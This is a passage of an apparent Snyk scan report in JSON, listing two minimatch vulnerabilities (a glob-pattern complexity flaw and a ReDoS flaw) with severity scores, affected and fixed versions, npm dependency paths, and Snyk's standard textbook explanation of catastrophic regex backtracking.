<10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, 